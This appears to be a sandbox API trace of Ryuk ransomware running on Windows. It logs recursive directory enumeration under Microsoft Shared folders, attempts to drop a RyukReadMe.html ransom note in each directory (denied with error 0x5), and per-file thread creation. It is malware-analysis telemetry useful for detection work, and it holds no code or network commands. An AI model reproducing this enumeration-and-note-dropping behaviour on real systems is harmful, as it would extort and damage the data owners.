	[0174.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.669] GetLastError () returned 0x5
	[0174.669] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.670] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0174.773] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.774] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0174.774] SetLastError (dwErrCode=0x0) 
	[0174.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.774] GetLastError () returned 0x5
	[0174.774] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0174.774] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0175.004] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.004] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x90, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1
	[0175.005] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x90, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0175.005] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x90, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0
	[0175.005] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0175.005] SetLastError (dwErrCode=0x0) 
	[0175.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.006] GetLastError () returned 0x5
	[0175.006] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0175.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.006] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1
	[0175.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0175.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958
	[0175.009] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.010] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0175.010] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0175.010] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1
	[0175.010] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0
	[0175.010] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0175.010] SetLastError (dwErrCode=0x0) 
	[0175.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.011] GetLastError () returned 0x5
	[0175.011] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.011] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0175.011] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1
	[0175.011] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0175.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600
	[0175.013] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.014] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1
	[0175.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0175.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c
	[0175.017] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.018] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0
	[0175.018] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0175.018] SetLastError (dwErrCode=0x0) 
	[0175.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.019] GetLastError () returned 0x5
	[0175.019] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.019] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1
	[0175.019] SetLastError (dwErrCode=0x0) 
	[0175.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.020] GetLastError () returned 0x5
	[0175.020] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0175.020] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.020] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0175.020] SetLastError (dwErrCode=0x0) 
	[0175.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.021] GetLastError () returned 0x5
	[0175.021] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.021] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x94, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0175.022] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x94, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.022] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x94, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1
	[0175.022] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x94, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0
	[0175.022] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0175.022] SetLastError (dwErrCode=0x0) 
	[0175.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.023] GetLastError () returned 0x5
	[0175.023] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0175.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.023] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1
	[0175.023] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0
	[0175.023] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0175.023] SetLastError (dwErrCode=0x0) 
	[0175.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.024] GetLastError () returned 0x5
	[0175.024] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.024] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0175.024] SetLastError (dwErrCode=0x0) 
	[0175.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.025] GetLastError () returned 0x5
	[0175.025] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0175.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0175.025] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
